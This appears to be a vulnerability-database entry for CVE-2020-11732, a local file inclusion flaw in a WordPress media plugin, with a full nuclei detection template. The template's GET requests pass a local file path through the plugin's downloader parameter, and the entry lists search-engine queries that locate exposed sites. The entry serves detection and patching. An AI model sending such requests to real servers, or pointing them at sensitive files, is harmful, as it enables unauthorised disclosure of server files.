Media Library Assistant < 2.82 - Unauthenticated Limited Local File Inclusion

highseverity

7.5CVSS score

4.9%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Media Library Assistant plugin for WordPress before 2.82 contains a local file inclusion caused by unsanitized mla_gallery link parameter, letting attackers include arbitrary local files, exploit requires access to the vulnerable link.

Impact

Attackers can include arbitrary local files, potentially leading to information disclosure or code execution.

Fix

Update to version 2.82 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=/var/www/html/w…
Positive when: status_code == 200 and contains(body, '// Silence is golden.')

Run it with nuclei: nuclei -id CVE-2020-11732 -u <target>

The full check

id: CVE-2020-11732

info:
  name: Media Library Assistant < 2.82 - Unauthenticated Limited Local File Inclusion
  author: Sourabh-Sahu
  severity: high
  description: |
    Media Library Assistant plugin for WordPress before 2.82 contains a local file inclusion caused by unsanitized mla_gallery link parameter, letting attackers include arbitrary local files, exploit requires access to the vulnerable link.
  impact: |
    Attackers can include arbitrary local files, potentially leading to information disclosure or code execution.
  remediation: |
    Update to version 2.82 or later.
  reference:
    - https://wpscan.com/vulnerability/80d60584-fa03-407e-a7bd-32d507a1046d/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-11732
    epss-score: 0.04864
    epss-percentile: 0.92114
    cpe: cpe:2.3:a:davidlingren:media_library_assistant:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: davidlingren
    product: media_library_assistant
    framework: wordpress
    fofa-query: body="wp-content/plugins/media-library-assistant"
    publicwww-query: "/wp-content/plugins/media-library-assistant/"
    shodan-query: http.html:"wp-content/plugins/media-library-assistant"
  tags: wpscan,cve,cve2020,wordpress,wp,wp-plugin,media-library-assistant,unauth,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=/var/www/html/wordpress/wp-content/index.php"
      - "{{BaseURL}}/wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=/var/www/html/wp-content/index.php"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '// Silence is golden.')"
        condition: and

References

https://wpscan.com/vulnerability/80d60584-fa03-407e-a7bd-32d507a1046d/

Use this check only on systems you are authorised to test. Where the data comes from